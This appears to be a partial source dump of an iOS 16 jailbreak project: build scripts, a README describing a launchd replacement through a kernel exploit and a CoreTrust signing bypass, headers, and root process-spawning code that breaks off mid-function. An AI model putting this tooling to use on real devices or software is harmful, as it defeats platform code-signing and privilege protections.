[
  {
    "path": ".gitignore",
    "content": "build\nbuild/\n.theos\nPayload\n.DS_Store\nusprebooter.xcodeproj/xcuserdata\nusprebooter.xcodeproj/project.xcworkspace/xcuserdata\n*.ipa\n*.tipa\nRootHelperSample/RootHelperSample.xcodeproj/xcuserdata\nRootHelperSample/build\nRootHelperSample/launchdshim/launchdhook/.theos\napple-include\nChOma_host"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"ChOma\"]\n\tpath = ChOma\n\turl = https://github.com/opa334/ChOma\n"
  },
  {
    "path": "Makefile",
    "content": "CC = clang\nSHELL = /usr/bin/env bash\nLDID = ldid\nMACOSX_SYSROOT = $(shell xcrun -sdk macosx --show-sdk-path)\nTARGET_SYSROOT = $(shell xcrun -sdk iphoneos --show-sdk-path)\n\n\nall: Serotonin.tipa\n\nSerotonin.tipa: $(wildcard **/*.c **/*.m **/*.swift **/*.plist **/*.xml)\n\techo \"[*] Building ChOma for host\"\n\t$(MAKE) -C ChOma\n\tcp -r ChOma ChOma_host\n\t\n\techo \"[*] Building ChOma for target\"\n\t$(MAKE) -C ChOma TARGET=ios\n\t\n\techo \"[*] Building fastPathSign\"\n\t$(MAKE) -C RootHelperSample/Exploits/fastPathSign\n\t\n\techo \"[*] Building lunchd hook\"\n\t$(MAKE) -C RootHelperSample/launchdshim/launchdhook\n\t\n\techo \"[*] Signing lunchd hook\"\n\t$(shell test -f RootHelperSample/launchdshim/launchdhook/launchdhooksigned.dylib  || ./ChOma_host/output/tests/ct_bypass -i RootHelperSample/launchdshim/launchdhook/.theos/obj/debug/launchdhook.dylib -o RootHelperSample/launchdshim/launchdhook/launchdhooksigned.dylib)\n\t\n\techo \"[*] Building SpringBoard Hook\"\n\t$(MAKE) -C RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook\n\t\n\techo \"[*] Signing SB hook\"\n\t$(shell test -f RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/springboardhooksigned.dylib || ./ChOma_host/output/tests/ct_bypass -i RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/.theos/obj/debug/SpringBoardHook.dylib -o RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/springboardhooksigned.dylib)\n\t\n\t# jank workaround at best, can someone else please fix this weird file dependency? – bomberfish\n\techo \"[*] Copying fastPathSign\"\n\tmkdir -p ChOma/output/ios/tests\n\tcp RootHelperSample/Exploits/fastPathSign/fastPathSign ChOma/output/ios/tests\n\t\n\techo \"[*] Building Serotonin\"\n\txcodebuild clean build -project Serotonin.xcodeproj -sdk iphoneos -configuration Release CODE_SIGN_IDENTITY=\"\" CODE_SIGNING_REQUIRED=NO CODE_SIGNING_ALLOWED=\"NO\"\n\t\n\techo \"[*] Done building. Packaging for TS...\"\n\t$(MAKE) -C RootHelperSample\n\trm -rf Payload\n\trm -rf Serotonin.tipa\n\tmkdir Payload\n\tcp -a build/Release-iphoneos/usprebooter.app Payload\n\tcp RootHelperSample/.theos/obj/debug/arm64/trolltoolsroothelper Payload/usprebooter.app/trolltoolsroothelper\n\tinstall -m755 RootHelperSample/launchdshim/launchdhook/launchdhooksigned.dylib Payload/usprebooter.app/launchdhooksigned.dylib\n\tinstall -m755 RootHelperSample/launchdshim/SpringBoardShim/SpringBoardHook/springboardhooksigned.dylib Payload/usprebooter.app/springboardhooksigned.dylib\n\t\n\t$(LDID) -S./RootHelperSample/entitlements.plist -Cadhoc Payload/usprebooter.app/{fastPathSign,ldid,trolltoolsroothelper}\n\t$(LDID) -Sent.plist -Cadhoc Payload/usprebooter.app/usprebooter\n\tzip -vr9 Serotonin.tipa Payload/ -x \"*.DS_Store\"\n\napple-include:\n\tmkdir -p apple-include/{bsm,objc,os/internal,sys,firehose,CoreFoundation,FSEvents,IOSurface,IOKit/kext,libkern,kern,arm,{mach/,}machine,CommonCrypto,Security,CoreSymbolication,Kernel/{kern,IOKit,libkern},rpc,rpcsvc,xpc/private,ktrace,mach-o,dispatch}\n\tcp -af $(MACOSX_SYSROOT)/usr/include/{arpa,bsm,hfs,net,xpc,netinet,servers,timeconv.h,launch.h} apple-include\n\tcp -af $(MACOSX_SYSROOT)/usr/include/objc/objc-runtime.h apple-include/objc\n\tcp -af $(MACOSX_SYSROOT)/usr/include/libkern/{OSDebug.h,OSKextLib.h,OSReturn.h,OSThermalNotification.h,OSTypes.h,machine} apple-include/libkern\n\tcp -af $(MACOSX_SYSROOT)/usr/include/kern apple-include\n\tcp -af $(MACOSX_SYSROOT)/usr/include/sys/{tty*,ptrace,kern*,random,reboot,user,vnode,disk,vmmeter,conf}.h apple-include/sys\n\tcp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/Kernel.framework/Versions/Current/Headers/sys/disklabel.h apple-include/sys\n\tcp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOKit.framework/Headers/{AppleConvergedIPCKeys.h,IOBSD.h,IOCFBundle.h,IOCFPlugIn.h,IOCFURLAccess.h,IOKitServer.h,IORPC.h,IOSharedLock.h,IOUserServer.h,audio,avc,firewire,graphics,hid,hidsystem,i2c,iokitmig.h,kext,ndrvsupport,network,ps,pwr_mgt,sbp2,scsi,serial,storage,stream,usb,video} apple-include/IOKit\n\tcp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/Security.framework/Headers/{mds_schema,oidsalg,SecKeychainSearch,certextensions,Authorization,eisl,SecDigestTransform,SecKeychainItem,oidscrl,cssmcspi,CSCommon,cssmaci,SecCode,CMSDecoder,oidscert,SecRequirement,AuthSession,SecReadTransform,oids,cssmconfig,cssmkrapi,SecPolicySearch,SecAccess,cssmtpi,SecACL,SecEncryptTransform,cssmapi,cssmcli,mds,x509defs,oidsbase,SecSignVerifyTransform,cssmspi,cssmkrspi,SecTask,cssmdli,SecAsn1Coder,cssm,SecTrustedApplication,SecCodeHost,SecCustomTransform,oidsattr,SecIdentitySearch,cssmtype,SecAsn1Types,emmtype,SecTransform,SecTrustSettings,SecStaticCode,emmspi,SecTransformReadTransform,SecKeychain,SecDecodeTransform,CodeSigning,AuthorizationPlugin,cssmerr,AuthorizationTags,CMSEncoder,SecEncodeTransform,SecureDownload,SecAsn1Templates,AuthorizationDB,SecCertificateOIDs,cssmapple}.h apple-include/Security\n\tcp -af $(MACOSX_SYSROOT)/usr/include/{ar,bootstrap,launch,libc,libcharset,localcharset,nlist,NSSystemDirectories,tzfile,vproc}.h apple-include\n\tcp -af $(MACOSX_SYSROOT)/usr/include/mach/{*.defs,{mach_vm,shared_region}.h} apple-include/mach\n\tcp -af $(MACOSX_SYSROOT)/usr/include/mach/machine/*.defs apple-include/mach/machine\n\tcp -af $(MACOSX_SYSROOT)/usr/include/rpc/pmap_clnt.h apple-include/rpc\n\tcp -af $(MACOSX_SYSROOT)/usr/include/rpcsvc/yp{_prot,clnt}.h apple-include/rpcsvc\n\tcp -af $(TARGET_SYSROOT)/usr/include/mach/machine/thread_state.h apple-include/mach/machine\n\tcp -af $(TARGET_SYSROOT)/usr/include/mach/arm apple-include/mach\n\tcp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOKit.framework/Headers/* apple-include/IOKit\n\tcp -af $(MACOSX_SYSROOT)/System/Library/Frameworks/IOSurface.framework/Headers/* apple-include/IOSurface\n\tgsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/stdlib.h > apple-include/stdlib.h\n\tgsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/time.h > apple-include/time.h\n\tgsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/unistd.h > apple-include/unistd.h\n\tgsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/mach/task.h > apple-include/mach/task.h\n\tgsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/mach/mach_host.h > apple-include/mach/mach_host.h\n\tgsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/ucontext.h > apple-include/ucontext.h\n\tgsed -E s/'__IOS_PROHIBITED|__TVOS_PROHIBITED|__WATCHOS_PROHIBITED'//g < $(TARGET_SYSROOT)/usr/include/signal.h > apple-include/signal.h\n\tgsed -E /'__API_UNAVAILABLE'/d < $(TARGET_SYSROOT)/usr/include/pthread.h > apple-include/pthread.h\n\t@if [ -f $(TARGET_SYSROOT)/System/Library/Frameworks/CoreFoundation.framework/Headers/CFUserNotification.h ]; then gsed -E 's/API_UNAVAILABLE\\(ios, watchos, tvos\\)//g' < $(TARGET_SYSROOT)/System/Library/Frameworks/CoreFoundation.framework/Headers/CFUserNotification.h > apple-include/CoreFoundation/CFUserNotification.h; fi\n\tgsed -i -E s/'__API_UNAVAILABLE\\(.*\\)'// apple-include/IOKit/IOKitLib.h\n\nclean:\n\trm -rf Payload build RootHelperSample/.theos apple-include RootHelperSample/build FUCK.tipa Serotonin.tipa\n\n.PHONY: all clean\n"
  },
  {
    "path": "README.md",
    "content": "# This repository's code is now unmaintained and is merged into [the new Serotonin fork with Mineek](https://github.com/mineek/Serotonin)\n\n\n\n<div align=\"center\">\n<img src=\"https://raw.githubusercontent.com/hrtowii/Serotonin/A12restart/artwork/serotonin-precomposed.png\" height=\"128\" width=\"128\" style=\"border-radius:25%\">\n   <h1> Serotonin \n      <br/> not/semi-jailbreak\n   </h1>\n</div>\n\n<h6 align=\"center\"> Supports iOS/iPadOS 16.2 - 16.6.1  </h6>\n\n\n## How do I use this?\nTo use this app, you need to be on a supported version (mentioned above), and have [TrollStore](https://github.com/opa334/TrollStore/) installed. You can follow [this guide](https://ios.cfw.guide/installing-trollstore/) to install it on your device. Please note that this tool doesn't support iOS 17.0 despite of it having TrollStore.\n\n1. Download and install [Bootstrap from RootHide](https://github.com/RootHide/Bootstrap)\n2. Install ElleKit from Sileo\n3. Download the `.tipa` file from the [latest release](https://github.com/hrtowii/Serotonin/releases/latest)\n4. Install the downloaded file in TrollStore\n5. Open the app and press the Jelbrek button. Your device should userspace reboot, and you should be (not/semi) jailbroken!\n\n   \n## How was this done? \n - It replaces launchd by searching through /sbin's vp_namecache, finds launchd's name cache and kwrites it with a patch to `lunchd`, our patched `launchd` (*you can have a look at a better explanation from AlfieCG [here](https://www.reddit.com/r/jailbreak/comments/18zehl2/comment/kgi5ya3/)*)\n - Patched launchd hooks posix_spawnp of SpringBoard and execs our own SpringBoard with springboardhook.dylib\n - Springboardhook loads in tweaks, ellekit, etc.\n - CoreTrust Bug found by [AlfieCG](https://github.com/alfiecg24)\n - [KFD Exploit](https://github.com/felix-pb/kfd)\n\n## TODO\n - Try adding support for lower iOS versions by overwriting NSGetExecutablePath\n - Add support for arm64\n - Add a boot splash screen (SOON)\n - Fix some Makefile jankiness\n - Fix `puaf_pages` picker crash in new UI\n\n## Credits\n- [DuyKhanhTran](https://github.com/khanhduytran0) - launchd and SpringBoard hooks\n- [NSBedtime](https://twitter.com/NSBedtime) - initial launchdhax, helped out a ton!\n- [AlfieCG](https://github.com/alfiecg24) - helped out a ton!\n- [Nick Chan](https://github.com/asdfugil) - helped out a ton!\n- [BomberFish](https://github.com/BomberFish) - Icon, new UI, `lunchd` name idea :trollface:\n- [haxi0](https://github.com/haxi0) - old UI\n- [Evelyne](https://github.com/evelyneee) for showing it was possible. \n"
  },
  {
    "path": "RootHelperSample/CoreServices.h",
    "content": "@interface LSBundleProxy\n@property (nonatomic,readonly) NSString * bundleIdentifier;\n@property (nonatomic) NSURL* dataContainerURL;\n-(NSString*)localizedName;\n@end\n\n@interface LSApplicationProxy : LSBundleProxy\n+ (instancetype)applicationProxyForIdentifier:(NSString*)identifier;\n@property NSURL* bundleURL;\n@property NSString* bundleType;\n@property NSString* canonicalExecutablePath;\n@property (nonatomic,readonly) NSDictionary* groupContainerURLs;\n@property (nonatomic,readonly) NSArray* plugInKitPlugins;\n@property (getter=isInstalled,nonatomic,readonly) BOOL installed; \n@property (getter=isPlaceholder,nonatomic,readonly) BOOL placeholder; \n@property (getter=isRestricted,nonatomic,readonly) BOOL restricted;\n@property (nonatomic,readonly) NSSet * claimedURLSchemes;\n@end\n\n@interface LSApplicationWorkspace : NSObject\n+ (instancetype)defaultWorkspace;\n- (BOOL)registerApplicationDictionary:(NSDictionary*)dict;\n- (BOOL)unregisterApplication:(id)arg1;\n- (BOOL)_LSPrivateRebuildApplicationDatabasesForSystemApps:(BOOL)arg1 internal:(BOOL)arg2 user:(BOOL)arg3;\n- (BOOL)uninstallApplication:(NSString*)arg1 withOptions:(id)arg2;\n- (BOOL)openApplicationWithBundleID:(NSString *)arg1 ;\n- (void)enumerateApplicationsOfType:(NSUInteger)type block:(void (^)(LSApplicationProxy*))block;\n@end\n\n@interface LSEnumerator : NSEnumerator\n@property (nonatomic,copy) NSPredicate * predicate;\n+ (instancetype)enumeratorForApplicationProxiesWithOptions:(NSUInteger)options;\n@end\n\n@interface LSPlugInKitProxy : LSBundleProxy\n@property (nonatomic,readonly) NSString* pluginIdentifier;\n@property (nonatomic,readonly) NSDictionary * pluginKitDictionary;\n+ (instancetype)pluginKitProxyForIdentifier:(NSString*)arg1;\n@end\n\n@interface MCMContainer : NSObject\n+ (id)containerWithIdentifier:(id)arg1 createIfNecessary:(BOOL)arg2 existed:(BOOL*)arg3 error:(id*)arg4;\n@property (nonatomic,readonly) NSURL * url;\n@end\n\n@interface MCMDataContainer : MCMContainer\n\n@end\n\n@interface MCMAppDataContainer : MCMDataContainer\n\n@end\n\n@interface MCMAppContainer : MCMContainer\n@end\n\n@interface MCMPluginKitPluginDataContainer : MCMDataContainer\n@end"
  },
  {
    "path": "RootHelperSample/Makefile",
    "content": "TARGET := iphone:clang:16.5:14.0\nARCHS = arm64\n\ninclude $(THEOS)/makefiles/common.mk\n\nTOOL_NAME = trolltoolsroothelper\n\ntrolltoolsroothelper_FILES = $(wildcard *.m) Exploits/fastPathSign/src/coretrust_bug.c Exploits/fastPathSign/src/codesign.m\ntrolltoolsroothelper_LDFLAGS = -Lexternal/lib -lcrypto -lchoma\ntrolltoolsroothelper_CFLAGS = -fobjc-arc $(shell pkg-config --cflags libcrypto) -Iexternal/include -Wmissing-braces -IExploits/fastPathSign/src\ntrolltoolsroothelper_CODESIGN_FLAGS = -Sentitlements.plist\ntrolltoolsroothelper_INSTALL_PATH = /usr/local/bin\ntrolltoolsroothelper_LIBRARIES = archive\ntrolltoolsroothelper_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices MobileCoreServices MobileContainerManager IOKit\n\ninclude $(THEOS_MAKE_PATH)/tool.mk\n"
  },
  {
    "path": "RootHelperSample/RemoteLog.h",
    "content": "#ifndef _REMOTE_LOG_H_\n#define _REMOTE_LOG_H_\n\n#import <netinet/in.h>\n#import <sys/socket.h>\n#import <unistd.h>\n#import <arpa/inet.h>\n\n// change this to match your destination (server) IP address\n#define RLOG_IP_ADDRESS \"192.168.0.24\"\n#define RLOG_PORT 11909\n\n__attribute__((unused)) static void RLogv(NSString* format, va_list args)\n{\n    NSString* str = [[NSString alloc] initWithFormat:format arguments:args];\n\n    int sd = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);\n    if (sd <= 0)\n    {\n        NSLog(@\"[RemoteLog] Error: Could not open socket\");\n        return;\n    }\n\n    int broadcastEnable = 1;\n    int ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &broadcastEnable, sizeof(broadcastEnable));\n    if (ret)\n    {\n        NSLog(@\"[RemoteLog] Error: Could not open set socket to broadcast mode\");\n        close(sd);\n        return;\n    }\n\n    struct sockaddr_in broadcastAddr;\n    memset(&broadcastAddr, 0, sizeof broadcastAddr);\n    broadcastAddr.sin_family = AF_INET;\n    inet_pton(AF_INET, RLOG_IP_ADDRESS, &broadcastAddr.sin_addr);\n    broadcastAddr.sin_port = htons(RLOG_PORT);\n\n    char* request = (char*)[str UTF8String];\n    ret = sendto(sd, request, strlen(request), 0, (struct sockaddr*)&broadcastAddr, sizeof broadcastAddr);\n    if (ret < 0)\n    {\n        NSLog(@\"[RemoteLog] Error: Could not send broadcast\");\n        close(sd);\n        return;\n    }\n    close(sd);\n}\n\n__attribute__((unused)) static void RLog(NSString* format, ...)\n{\n    va_list args;\n    va_start(args, format);\n    RLogv(format, args);\n    va_end(args);\n}\n#endif\n"
  },
  {
    "path": "RootHelperSample/RootHelperSample.xcodeproj/project.pbxproj",
    "content": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 56;\n\tobjects = {\n\n/* Begin PBXFileReference section */\n\t\tC82AFEFB2B1762CD0070EA49 /* .DS_Store */ = {isa = PBXFileReference; lastKnownFileType = file; path = .DS_Store; sourceTree = \"<group>\"; };\n\t\tC82AFEFC2B1762CD0070EA49 /* uicache.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = uicache.h; sourceTree = \"<group>\"; };\n\t\tC82AFEFD2B1762CD0070EA49 /* .theos */ = {isa = PBXFileReference; lastKnownFileType = folder; path = .theos; sourceTree = \"<group>\"; };\n\t\tC82AFEFE2B1762CD0070EA49 /* Makefile */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.make; path = Makefile; sourceTree = \"<group>\"; };\n\t\tC82AFEFF2B1762CD0070EA49 /* entitlements.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist; path = entitlements.plist; sourceTree = \"<group>\"; };\n\t\tC82AFF002B1762CD0070EA49 /* TSUtil.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = TSUtil.m; sourceTree = \"<group>\"; };\n\t\tC82AFF012B1762CD0070EA49 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = \"<group>\"; };\n\t\tC82AFF022B1762CD0070EA49 /* uicache.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = uicache.m; sourceTree = \"<group>\"; };\n\t\tC82AFF032B1762CD0070EA49 /* TSUtil.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = TSUtil.h; sourceTree = \"<group>\"; };\n\t\tC82AFF042B1762CD0070EA49 /* CoreServices.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CoreServices.h; sourceTree = \"<group>\"; };\n\t\tC82AFF052B1762CD0070EA49 /* RemoteLog.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = RemoteLog.h; sourceTree = \"<group>\"; };\n\t\tC82AFF062B1762CD0070EA49 /* control */ = {isa = PBXFileReference; lastKnownFileType = text; path = control; sourceTree = \"<group>\"; };\n/* End PBXFileReference section */\n\n/* Begin PBXGroup section */\n\t\tC82AFEF52B1762CD0070EA49 = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tC82AFEFB2B1762CD0070EA49 /* .DS_Store */,\n\t\t\t\tC82AFEFC2B1762CD0070EA49 /* uicache.h */,\n\t\t\t\tC82AFEFD2B1762CD0070EA49 /* .theos */,\n\t\t\t\tC82AFEFE2B1762CD0070EA49 /* Makefile */,\n\t\t\t\tC82AFEFF2B1762CD0070EA49 /* entitlements.plist */,\n\t\t\t\tC82AFF002B1762CD0070EA49 /* TSUtil.m */,\n\t\t\t\tC82AFF012B1762CD0070EA49 /* main.m */,\n\t\t\t\tC82AFF022B1762CD0070EA49 /* uicache.m */,\n\t\t\t\tC82AFF032B1762CD0070EA49 /* TSUtil.h */,\n\t\t\t\tC82AFF042B1762CD0070EA49 /* CoreServices.h */,\n\t\t\t\tC82AFF052B1762CD0070EA49 /* RemoteLog.h */,\n\t\t\t\tC82AFF062B1762CD0070EA49 /* control */,\n\t\t\t);\n\t\t\tsourceTree = \"<group>\";\n\t\t};\n/* End PBXGroup section */\n\n/* Begin PBXLegacyTarget section */\n\t\tC82AFEFA2B1762CD0070EA49 /* RootHelperSample */ = {\n\t\t\tisa = PBXLegacyTarget;\n\t\t\tbuildArgumentsString = \"$(ACTION)\";\n\t\t\tbuildConfigurationList = C82AFF072B1762CD0070EA49 /* Build configuration list for PBXLegacyTarget \"RootHelperSample\" */;\n\t\t\tbuildPhases = (\n\t\t\t);\n\t\t\tbuildToolPath = \"bash /Users/ibarahime/usprebooter/build.sh\";\n\t\t\tbuildWorkingDirectory = /Users/ibarahime/usprebooter/RootHelperSample;\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = RootHelperSample;\n\t\t\tpassBuildSettingsInEnvironment = 1;\n\t\t\tproductName = RootHelperSample;\n\t\t};\n/* End PBXLegacyTarget section */\n\n/* Begin PBXProject section */\n\t\tC82AFEF62B1762CD0070EA49 /* Project object */ = {\n\t\t\tisa = PBXProject;\n\t\t\tattributes = {\n\t\t\t\tBuildIndependentTargetsInParallel = 1;\n\t\t\t};\n\t\t\tbuildConfigurationList = C82AFEF92B1762CD0070EA49 /* Build configuration list for PBXProject \"RootHelperSample\" */;\n\t\t\tcompatibilityVersion = \"Xcode 14.0\";\n\t\t\tdevelopmentRegion = en;\n\t\t\thasScannedForEncodings = 0;\n\t\t\tknownRegions = (\n\t\t\t\ten,\n\t\t\t\tBase,\n\t\t\t);\n\t\t\tmainGroup = C82AFEF52B1762CD0070EA49;\n\t\t\tprojectDirPath = \"\";\n\t\t\tprojectRoot = \"\";\n\t\t\ttargets = (\n\t\t\t\tC82AFEFA2B1762CD0070EA49 /* RootHelperSample */,\n\t\t\t);\n\t\t};\n/* End PBXProject section */\n\n/* Begin XCBuildConfiguration section */\n\t\tC82AFEF72B1762CD0070EA49 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tARCHS = \"$(ARCHS_STANDARD_32_BIT)\";\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tSDKROOT = macosx10.6;\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tC82AFEF82B1762CD0070EA49 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tARCHS = \"$(ARCHS_STANDARD_32_BIT)\";\n\t\t\t\tCOPY_PHASE_STRIP = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tSDKROOT = macosx10.6;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\tC82AFF082B1762CD0070EA49 /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUGGING_SYMBOLS = YES;\n\t\t\t\tGCC_DYNAMIC_NO_PIC = NO;\n\t\t\t\tGCC_ENABLE_FIX_AND_CONTINUE = YES;\n\t\t\t\tGCC_GENERATE_DEBUGGING_SYMBOLS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tOTHER_CFLAGS = \"\";\n\t\t\t\tOTHER_LDFLAGS = \"\";\n\t\t\t\tPRODUCT_NAME = RootHelperSample;\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\tC82AFF092B1762CD0070EA49 /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbuildSettings = {\n\t\t\t\tCOPY_PHASE_STRIP = YES;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tGCC_ENABLE_FIX_AND_CONTINUE = NO;\n\t\t\t\tOTHER_CFLAGS = \"\";\n\t\t\t\tOTHER_LDFLAGS = \"\";\n\t\t\t\tPRODUCT_NAME = RootHelperSample;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n/* End XCBuildConfiguration section */\n\n/* Begin XCConfigurationList section */\n\t\tC82AFEF92B1762CD0070EA49 /* Build configuration list for PBXProject \"RootHelperSample\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tC82AFEF72B1762CD0070EA49 /* Debug */,\n\t\t\t\tC82AFEF82B1762CD0070EA49 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\tC82AFF072B1762CD0070EA49 /* Build configuration list for PBXLegacyTarget \"RootHelperSample\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\tC82AFF082B1762CD0070EA49 /* Debug */,\n\t\t\t\tC82AFF092B1762CD0070EA49 /* Release */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n/* End XCConfigurationList section */\n\t};\n\trootObject = C82AFEF62B1762CD0070EA49 /* Project object */;\n}\n"
  },
  {
    "path": "RootHelperSample/TSUtil.h",
    "content": "@import Foundation;\n#import \"CoreServices.h\"\n\n#define TrollStoreErrorDomain @\"TrollStoreErrorDomain\"\n\nextern void chineseWifiFixup(void);\nextern void loadMCMFramework(void);\nextern NSString* safe_getExecutablePath();\nextern NSString* rootHelperPath(void);\nextern NSString* getNSStringFromFile(int fd);\nextern void printMultilineNSString(NSString* stringToPrint);\nextern int spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdErr);\nextern void killall(NSString* processName);\nextern void respring(void);\nchar* getPatchedLaunchdCopy(void);\n"
  },
  {
    "path": "RootHelperSample/TSUtil.m",
    "content": "#import \"TSUtil.h\"\n\n#import <Foundation/Foundation.h>\n#import <spawn.h>\n#import <sys/sysctl.h>\n#include <IOKit/IOKitLib.h>\n\n@interface PSAppDataUsagePolicyCache : NSObject\n+ (instancetype)sharedInstance;\n- (void)setUsagePoliciesForBundle:(NSString*)bundleId cellular:(BOOL)cellular wifi:(BOOL)wifi;\n@end\n\n#define POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE 1\nextern int posix_spawnattr_set_persona_np(const posix_spawnattr_t* __restrict, uid_t, uint32_t);\nextern int posix_spawnattr_set_persona_uid_np(const posix_spawnattr_t* __restrict, uid_t);\nextern int posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restrict, uid_t);\n\n\nvoid loadMCMFramework(void)\n{\n\tstatic dispatch_once_t onceToken;\n\tdispatch_once (&onceToken, ^{\n\t\tNSBundle* mcmBundle = [NSBundle bundleWithPath:@\"/System/Library/PrivateFrameworks/MobileContainerManager.framework\"];\n\t\t[mcmBundle load];\n\t});\n}\n\nextern char*** _NSGetArgv();\nNSString* safe_getExecutablePath()\n{\n\tchar* executablePathC = **_NSGetArgv();\n\treturn [NSString stringWithUTF8String:executablePathC];\n}\n\n#ifdef EMBEDDED_ROOT_HELPER\nNSString* rootHelperPath(void)\n{\n\treturn safe_getExecutablePath();\n}\n#else\nNSString* rootHelperPath(void)\n{\n\treturn [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@\"trolltoolsroothelper\"];\n}\n#endif\n\nNSString* getNSStringFromFile(int fd)\n{\n\tNSMutableString* ms = [NSMutableString new];\n\tssize_t num_read;\n\tchar c;\n\twhile((num_read = read(fd, &c, sizeof(c))))\n\t{\n\t\t[ms appendString:[NSString stringWithFormat:@\"%c\", c]];\n\t}\n\treturn ms.copy;\n}\n\nvoid printMultilineNSString(NSString* stringToPrint)\n{\n\tNSCharacterSet *separator = [NSCharacterSet newlineCharacterSet];\n\tNSArray* lines = [stringToPrint componentsSeparatedByCharactersInSet:separator];\n\tfor(NSString* line in lines)\n\t{\n\t\tNSLog(@\"%@\", line);\n\t}\n}\n\nint spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdErr)\n{\n\tNSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new];\n\t[argsM insertObject:path.lastPathComponent atIndex:0];\n\t\n\tNSUInteger argCount = [argsM count];\n\tchar **argsC = (char **)malloc((argCount + 1) * sizeof(char*));\n\n\tfor (NSUInteger i = 0; i < argCount; i++)\n\t{\n\t\targsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);\n\t}\n\targsC[argCount] = NULL;\n\n\tposix_spawnattr_t attr;\n\tposix_spawnattr_init(&attr);\n\n\tposix_spawnattr_set_persona_np(&attr, 99, POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE);\n\tposix_spawnattr_set_persona_uid_np(&attr, 0);\n\tposix_spawnattr_set_persona_gid_np(&attr, 0);\n\n\tposix_spawn_file_actions_t action;\n\tposix_spawn_file_actions_init(&action);\n\n\tint outErr[2];\n\tif(stdErr)\n\t{\n\t\tpipe(outErr);\n\t\tposix_spawn_file_actions_adddup2(&action, outErr[1], STDERR_FILENO);\n\t\tposix_spawn_file_actions_addclose(&action, outErr[0]);\n\t}\n\n\tint out[2];\n\tif(stdOut)\n\t{\n\t\tpipe(out);\n\t\tposix_spawn_file_actions_adddup2(&action, out[1], STDOUT_FILENO);\n\t\tposix_spawn_file_actions_addclose(&action, out[0]);\n\t}\n\t\n\tpid_t task_pid;\n\tint status = -200;\n\tint spawnError = posix_spawn(&task_pid, [path UTF8String], &action, &attr, (char* const*)argsC, NULL);\n\tposix_spawnattr_destroy(&attr);\n\tfor (NSUInteger i = 